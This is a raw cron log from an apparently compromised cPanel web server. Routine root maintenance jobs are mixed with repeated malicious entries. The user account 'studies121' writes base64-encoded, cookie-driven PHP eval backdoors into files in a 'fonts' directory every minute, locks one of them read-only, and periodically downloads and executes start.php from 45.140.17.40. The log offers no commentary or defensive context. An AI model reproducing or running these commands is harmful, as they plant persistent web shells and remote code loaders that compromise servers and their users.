Aug 30 18:44:01 ip-184-168-122-23 CROND[26016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:45:01 ip-184-168-122-23 CROND[26102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:45:01 ip-184-168-122-23 CROND[26105]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:45:01 ip-184-168-122-23 CROND[26104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:45:01 ip-184-168-122-23 CROND[26109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:45:01 ip-184-168-122-23 CROND[26110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:45:01 ip-184-168-122-23 CROND[26108]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:46:01 ip-184-168-122-23 CROND[26209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:46:01 ip-184-168-122-23 CROND[26212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:46:01 ip-184-168-122-23 CROND[26211]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:46:01 ip-184-168-122-23 CROND[26213]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 18:46:01 ip-184-168-122-23 CROND[26214]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 18:46:01 ip-184-168-122-23 CROND[26215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:46:01 ip-184-168-122-23 CROND[26216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:47:01 ip-184-168-122-23 CROND[26397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:47:01 ip-184-168-122-23 CROND[26398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:47:01 ip-184-168-122-23 CROND[26399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:47:01 ip-184-168-122-23 CROND[26401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:48:01 ip-184-168-122-23 CROND[26496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:48:01 ip-184-168-122-23 CROND[26498]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:48:01 ip-184-168-122-23 CROND[26499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:48:01 ip-184-168-122-23 CROND[26500]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:48:01 ip-184-168-122-23 CROND[26501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:49:01 ip-184-168-122-23 CROND[26583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:49:01 ip-184-168-122-23 CROND[26585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:49:01 ip-184-168-122-23 CROND[26584]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:49:01 ip-184-168-122-23 CROND[26587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:50:01 ip-184-168-122-23 CROND[26676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:50:01 ip-184-168-122-23 CROND[26677]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:50:01 ip-184-168-122-23 CROND[26679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:50:01 ip-184-168-122-23 CROND[26681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:50:01 ip-184-168-122-23 CROND[26678]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 18:50:01 ip-184-168-122-23 CROND[26685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:50:01 ip-184-168-122-23 CROND[26683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:50:01 ip-184-168-122-23 CROND[26682]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 18:50:01 ip-184-168-122-23 CROND[26684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:51:02 ip-184-168-122-23 CROND[26805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:51:02 ip-184-168-122-23 CROND[26813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:51:02 ip-184-168-122-23 CROND[26814]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:51:02 ip-184-168-122-23 CROND[26812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:52:01 ip-184-168-122-23 CROND[26971]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:52:01 ip-184-168-122-23 CROND[26972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:52:01 ip-184-168-122-23 CROND[26976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:52:01 ip-184-168-122-23 CROND[26977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:52:01 ip-184-168-122-23 CROND[26978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:53:01 ip-184-168-122-23 CROND[27082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:53:01 ip-184-168-122-23 CROND[27083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:53:01 ip-184-168-122-23 CROND[27084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:53:01 ip-184-168-122-23 CROND[27085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:54:01 ip-184-168-122-23 CROND[27171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:54:01 ip-184-168-122-23 CROND[27173]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:54:01 ip-184-168-122-23 CROND[27172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:54:01 ip-184-168-122-23 CROND[27175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:54:01 ip-184-168-122-23 CROND[27174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 18:55:01 ip-184-168-122-23 CROND[27267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:55:01 ip-184-168-122-23 CROND[27266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 18:55:01 ip-184-168-122-23 CROND[27270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:55:01 ip-184-168-122-23 CROND[27272]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 18:55:01 ip-184-168-122-23 CROND[27273]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 18:55:01 ip-184-168-122-23 CROND[27271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 18:56:01 ip-184-168-122-23 CROND[27376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 18:56:01 ip-184-168-122-23 CROND[27377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 18:56:01 ip-184-168-122-23 CROND[27379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
